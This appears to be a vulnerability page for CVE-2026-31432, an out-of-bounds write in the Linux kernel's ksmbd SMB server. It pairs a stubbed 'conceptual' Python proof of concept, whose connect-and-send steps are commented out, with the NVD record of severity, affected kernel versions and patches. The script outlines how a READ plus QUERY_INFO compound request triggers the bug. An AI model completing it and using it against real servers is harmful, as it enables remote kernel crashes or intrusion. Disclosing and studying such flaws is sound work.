CVE-2026-31432

import socket from impacket import smb # Conceptual PoC for CVE-2026-31432 # This script demonstrates sending a compound request to trigger the OOB write. # Target: Linux Kernel with ksmbd enabled. def send_exploit(target_ip): print(f"[*] Attempting to connect to {target_ip}...") try: # 1. Establish SMB connection # client = smb.SMB(target_ip, target_ip) # client.login("user", "pass") # 2. Construct a compound request # Packet structure: [READ] + [QUERY_INFO(Security)] # The READ request should consume a large portion of the max buffer. # The QUERY_INFO request will attempt to build a large Security Descriptor. # read_req = build_smb2_read_request(offset=0, length=BUFFER_SIZE - SMALL_PADDING) # query_req = build_smb2_query_info_request(info_type=SECURITY) # compound_pkt = compound_request(read_req, query_req) # client.send(compound_pkt) print("[!] Compound request sent.") print("[!] If vulnerable, the kernel may crash due to OOB write.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": send_exploit("192.168.1.10")

{"cve": {"id": "CVE-2026-31432", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T09:16:21.410", "lastModified": "2026-05-21T17:28:57.847", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: fix OOB write in QUERY_INFO for compound requests\n\nWhen a compound request such as READ + QUERY_INFO(Security) is received,\nand the first command (READ) consumes most of the response buffer,\nksmbd could write beyond the allocated buffer while building a security\ndescriptor.\n\nThe root cause was that smb2_get_info_sec() checked buffer space using\nppntsd_size from xattr, while build_sec_desc() often synthesized a\nsignificantly larger descriptor from POSIX ACLs.\n\nThis patch introduces smb_acl_sec_desc_scratch_len() to accurately\ncompute the final descriptor size beforehand, performs proper buffer\nchecking with smb2_calc_max_out_buf_len(), and uses exact-sized\nallocation + iov pinning."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15.145", "versionEndExcluding": "5.16", "matchCriteriaId": "B98C9201-BF17-4E2C-84FF-75EE2AA94DC5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1.71", "versionEndExcluding": "6.2", "matchCriteriaId": "163E72B5-0F5D-49E2-AAEA-F11E02D730AD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.6", "versionEndExcluding": "6.12.81", "matchCriteriaId": "D467CA25-2A1E-475C-969E-62759720CE35"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc5:*:*:*:*:*:*", "matchCriteriaId": "58A9FEFF-C040-420D-8F0A-BFDAAA1DF258"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc6:*:*:*:*:*:*", "matchCriteriaId": "1D2315C0-D46F-4F85-9754-F9E5E11374A6"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/075ea208c648cc2bcd616295b711d3637c61de45", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/515c2daab46021221bdf406bef19bc90a44ec617", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d48c64fb80ad78b3dd29fb7d79b6ec7bd72bfc09", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fda9522ed6afaec45cabc198d8492270c394c7bc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}